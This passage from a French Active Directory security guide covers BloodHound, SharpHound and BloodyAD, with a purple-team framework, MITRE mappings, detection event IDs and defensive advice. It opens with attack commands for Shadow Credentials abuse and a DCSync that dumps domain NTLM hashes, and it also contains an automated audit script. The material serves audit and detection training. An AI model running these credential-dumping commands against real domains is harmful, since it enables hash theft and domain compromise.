certipy auth -pfx admin-srv.pfx -username admin-srv -domain corp.local -dc-ip 10.0.0.1

# Étape 3 — Utiliser le TGT pour effectuer un DCSync si admin-srv a les droits
export KRB5CCNAME=admin-srv.ccache
secretsdump.py -k -no-pass dc01.corp.local -just-dc-ntlm

# Étape 4 — Cleanup
bloodyAD -d corp.local -u jdupont -p 'P@ssw0rd' --host 10.0.0.1 remove shadowCredentials 'admin-srv'

8.4 Scénario 4 : Automatisation d'audit récurrent

#!/bin/bash
# Script d'audit AD automatisé — collecte + analyse + rapport
# À exécuter périodiquement (cron) depuis une machine d'audit

DATE=$(date +%Y%m%d_%H%M)
DOMAIN="corp.local"
DC_IP="10.0.0.1"
BH_URL="https://bloodhound.internal:8080"
BH_TOKEN="your-api-token"

echo "[*] Collecte SharpHound (via BloodHound.py)..."
bloodhound-python -u svc-audit -p 'AuditP@ss2026' \
  -d "$DOMAIN" -ns "$DC_IP" -c All \
  --zip -o "/opt/audits/${DATE}/"

echo "[*] Upload vers BloodHound CE..."
curl -s -X POST "${BH_URL}/api/v2/file-upload" \
  -H "Authorization: Bearer ${BH_TOKEN}" \
  -F "file=@/opt/audits/${DATE}/${DOMAIN}_bloodhound.zip"

echo "[*] Requête des chemins critiques..."
curl -s -X POST "${BH_URL}/api/v2/graphs/cypher" \
  -H "Authorization: Bearer ${BH_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"query":"MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:\"DOMAIN ADMINS@CORP.LOCAL\"})) WHERE u.hasspn=true RETURN count(p) as kerberoastable_paths"}'

echo "[+] Audit terminé. Résultats dans /opt/audits/${DATE}/"

9. Intégration dans les exercices Purple Team

Les exercices Purple Team représentent le contexte idéal pour exploiter la synergie entre BloodHound, SharpHound et BloodyAD. Voici un framework d'exercice structuré :

9.1 Framework d'exercice Purple Team AD

Phase	Red Team (Attaque)	Blue Team (Détection)	Outils utilisés
1. Reconnaissance	Collecte SharpHound / BloodHound.py	Détection des requêtes LDAP massives (Event 1644)	SharpHound, BloodHound.py
2. Analyse	Identification des chemins dans BloodHound CE	N/A (analyse offline)	BloodHound CE
3. Exploitation ACL	Exploitation via BloodyAD (WriteDacl, GenericAll)	Détection des modifications ACL (Event 5136)	BloodyAD
4. Mouvement latéral	RBCD, Shadow Credentials, Pass-the-Hash	Détection des modifications RBCD, KeyCredentialLink	BloodyAD, Impacket
5. Escalade	DCSync, Golden Ticket	Détection des réplications DCSync (Event 4662)	Impacket, Mimikatz
6. Remédiation	Validation des corrections	Application des remédiations	BloodHound CE (re-scan)

9.2 Métriques de succès

Pour évaluer l'efficacité d'un exercice Purple Team :

• Nombre de chemins d'attaque identifiés (BloodHound) avant et après remédiation.
• Taux de détection — Pourcentage des actions offensives détectées par la Blue Team.
• Temps moyen de détection (MTTD) — Délai entre l'action offensive et l'alerte Blue Team.
• Nombre de faux positifs — Alertes déclenchées sans action offensive correspondante.
• Score de risque BloodHound Enterprise — Évolution du score avant/après remédiation (si Enterprise est utilisé).

9.3 Matrice MITRE ATT&CK associée

Technique MITRE ATT&CK	ID	Outil concerné	Détection recommandée
Account Discovery	T1087.002	SharpHound, BloodyAD	Event 4662 (LDAP queries)
Permission Groups Discovery	T1069.002	SharpHound	Event 4661 (SAM access)
Domain Trust Discovery	T1482	SharpHound, BloodyAD	Event 4662 (trustedDomain)
Access Token Manipulation — RBCD	T1134.001	BloodyAD	Event 5136 (RBCD attribute)
Account Manipulation — Additional credentials	T1098.001	BloodyAD (Shadow Creds)	Event 5136 (KeyCredentialLink)
Steal or Forge Kerberos Tickets	T1558	Impacket (post-BloodyAD)	Event 4769, 4768
OS Credential Dumping — DCSync	T1003.006	Impacket (post-BloodHound)	Event 4662 (DS-Replication-Get-Changes)

10. Avantages et inconvénients de chaque outil

10.1 BloodHound CE

✅ Avantages	❌ Inconvénients
Visualisation graphique puissante et intuitive	Nécessite Docker et des ressources (RAM, CPU)
Requêtes Cypher personnalisées pour l'analyse avancée	Courbe d'apprentissage pour les requêtes Cypher complexes
API REST complète pour l'automatisation	Pas de modification directe de l'AD (lecture seule)
Support Azure / Entra ID (via AzureHound)	Dépendance à Neo4j (peut être lent sur de très grands domaines)
Communauté active et large documentation	Données statiques (snapshot) — pas de surveillance continue en CE
Open source (Apache 2.0)	Migration depuis Legacy peut être complexe
Support ADCS (ESC1-ESC8) depuis v5+	Interface web peut être lente sur des graphes >100k nœuds

10.2 SharpHound

✅ Avantages	❌ Inconvénients
Collecteur officiel et maintenu par SpecterOps	Nécessite une exécution sur une machine Windows jointe au domaine
Collecte exhaustive de toutes les données AD nécessaires	Fortement détecté par les EDR (signatures connues)
Modes de collecte modulaires (DCOnly, Session, ACL…)	Peut générer un bruit réseau significatif (mode All)
Options de throttling et jitter pour la furtivité	Nécessite .NET Framework sur la cible
Format de sortie directement compatible BloodHound	Pas d'exploitation directe (collecte uniquement)
Collecte ADCS complète (v2.x)	Schéma v5 incompatible avec BloodHound Legacy

10.3 BloodyAD

✅ Avantages	❌ Inconvénients
Exécution depuis Linux (pas besoin de Windows)	Pas de visualisation graphique des chemins d'attaque
Exploitation directe des ACL et faiblesses AD	Nécessite une bonne connaissance de l'AD et de LDAP
Support de multiples méthodes d'authentification (password, hash, Kerberos)	Communauté plus petite que BloodHound
Très furtif (trafic LDAP légitime, pas de binaire sur la cible)	Documentation moins abondante
Support RBCD, Shadow Credentials, DCSync	Pas de collecte de données pour BloodHound
Open source (MIT), Python, facilement extensible	Peut nécessiter des ajustements pour les environnements complexes
Interface CLI claire et modulaire	Pas de support Azure / Entra ID

11. Bonnes pratiques et recommandations 2026

11.1 Pour les équipes offensives (Red Team / Pentest)

1. Toujours commencer par BloodHound — Avant d'exploiter quoi que ce soit, cartographiez l'AD. Un audit sans BloodHound, c'est un audit à l'aveugle.
2. Adapter le collecteur au contexte — SharpHound en pentest classique, BloodHound.py ou BOFHound en Red Team furtive.
3. Utiliser BloodyAD pour l'exploitation LDAP — Plus propre et plus rapide que les alternatives PowerShell, et exécutable depuis Linux.
4. Documenter chaque action — Surtout avec BloodyAD qui modifie l'AD. Conservez un log de toutes les commandes pour le cleanup et le rapport.
5. Tester les remédiations — Après chaque remédiation par le client, relancez BloodHound pour vérifier que les chemins d'attaque ont bien disparu.

11.2 Pour les équipes défensives (Blue Team / SOC)

1. Exécutez BloodHound vous-même — N'attendez pas un pentest pour découvrir vos chemins d'attaque. Exécutez BloodHound CE ou Enterprise en interne, régulièrement.
2. Activez les audits avancés — Event 5136 (Directory Service Changes), Event 4662 (DS Access), Event 1644 (LDAP Debug Logging).
3. Surveillez les modifications d'attributs sensibles — msDS-KeyCredentialLink, msDS-AllowedToActOnBehalfOfOtherIdentity, nTSecurityDescriptor sur les objets Tier 0.
4. Créez des règles de détection spécifiques — Les requêtes KQL et Sigma fournies dans cet article sont un bon point de départ.
5. Intégrez BloodHound dans votre programme de gouvernance AD — Faites-en un outil de conformité continue, pas juste un outil de pentest.

11.3 Pour les managers et RSSI

1. Investissez dans BloodHound Enterprise — Si votre organisation gère plus de 5 000 comptes AD, le scoring de risque continu et les alertes de BloodHound Enterprise sont un atout majeur.
2. Formez vos équipes — BloodHound et BloodyAD ne sont pas des « outils de hackers » ; ce sont des outils d'audit essentiels. Vos équipes sécurité doivent savoir les utiliser.
3. Mesurez la réduction des chemins d'attaque — Utilisez BloodHound pour quantifier l'efficacité de vos investissements en sécurité AD.

12. Évolutions attendues en 2026-2027

Le paysage des outils AD évolue rapidement. Voici les tendances et évolutions anticipées :

12.1 BloodHound

• Analyse d'identité hybride renforcée — Meilleure intégration Entra ID Connect, support des Conditional Access Policies, analyse des Service Principals Azure.
• IA et recommandations automatisées — Suggestions automatiques de remédiation basées sur le graphe, priorisation intelligente des chemins d'attaque.
• Intégrations SOAR — Connecteurs natifs pour les plateformes SOAR (Cortex XSOAR, Splunk SOAR) afin d'automatiser la remédiation.
• Mode « continuous assessment » — Collecte et analyse continues en CE (actuellement réservé à Enterprise).

12.2 SharpHound

• Techniques anti-EDR avancées — Obfuscation améliorée, support des appels NTAPI directs pour contourner les hooks userland.
• Collecte incrémentale — Ne collecter que les changements depuis le dernier scan (basé sur USN Changed).
• Support étendu de AD CS — Collecte des configurations ESC avancées et des templates récents.

12.3 BloodyAD

• Support Entra ID — Exploitation des configurations hybrides, modification des objets synchronisés.
• Modules ADCS complets — Exploitation automatisée de tous les scénarios ESC (1-13+).
• Intégration BloodHound — Exploitation automatique des chemins identifiés par BloodHound via l'API CE.
• Interface web optionnelle — Interface de suivi des opérations offensives pour les engagements complexes.

13. Glossaire

Terme	Définition
ACL (Access Control List)	Liste de contrôle d'accès définissant les permissions sur un objet AD.
DACL	Discretionary Access Control List — partie de l'ACL qui définit les permissions explicites (Allow/Deny).
DCSync	Technique simulant une réplication de contrôleur de domaine pour extraire les hashes de mots de passe.
RBCD	Resource-Based Constrained Delegation — mécanisme Kerberos permettant la délégation d'authentification.
Shadow Credentials	Technique d'ajout de clé de certificat (msDS-KeyCredentialLink) pour obtenir un TGT sans connaître le mot de passe.
Kerberoasting	Attaque consistant à demander des tickets de service Kerberos (TGS) pour les craquer offline.
AS-REP Roasting	Attaque sur les comptes sans pré-authentification Kerberos pour obtenir des hashes craquables.
Neo4j	Base de données orientée graphe utilisée par BloodHound pour stocker les relations AD.
Cypher	Langage de requêtes pour les bases de données Neo4j, utilisé dans BloodHound.
ADCS	Active Directory Certificate Services — infrastructure de certificats intégrée à AD.
ESC1-ESC8	Scénarios d'escalade de privilèges via les vulnérabilités ADCS identifiés par SpecterOps.
gMSA	Group Managed Service Account — compte de service géré avec rotation automatique du mot de passe.
Tier Model	Modèle d'administration AD en tiers (Tier 0 = Domain Controllers, Tier 1 = Serveurs, Tier 2 = Postes de travail).

14. Questions fréquentes (FAQ)

15. Conclusion

Le triptyque BloodHound, SharpHound et BloodyAD constitue en 2026 la boîte à outils incontournable pour tout audit de sécurité Active Directory. Chaque outil occupe un créneau distinct et complémentaire :

• SharpHound (ou BloodHound.py) pour la collecte exhaustive des données du domaine.
• BloodHound CE pour l'analyse graphique et l'identification des chemins d'attaque critiques.
• BloodyAD pour l'exploitation directe des faiblesses identifiées, via une interface Python flexible et furtive.

La clé d'un audit AD efficace en 2026 réside dans la combinaison intelligente de ces outils, adaptée au contexte (pentest classique, Red Team furtive, audit de conformité, exercice Purple Team). Les équipes défensives doivent également maîtriser ces outils pour comprendre les techniques offensives et valider leurs capacités de détection.

Pour aller plus loin dans votre maîtrise de la sécurité Active Directory, consultez nos guides complémentaires :

• Guide complet du pentest Active Directory
• Kerberoasting et AS-REP Roasting : attaques Kerberos en profondeur
• Exercices Purple Team AD et Cloud 2026

Sources et références

• BloodHound CE — Dépôt GitHub officiel (SpecterOps)
• SharpHound — Dépôt GitHub officiel
• BloodyAD — Dépôt GitHub officiel (CravateRouge)
• BloodHound — Documentation officielle
• BloodHound.py — Collecteur Python
• Certipy — Outil d'audit ADCS
• MITRE ATT&CK — Framework de référence
• SpecterOps Blog — Recherche offensive AD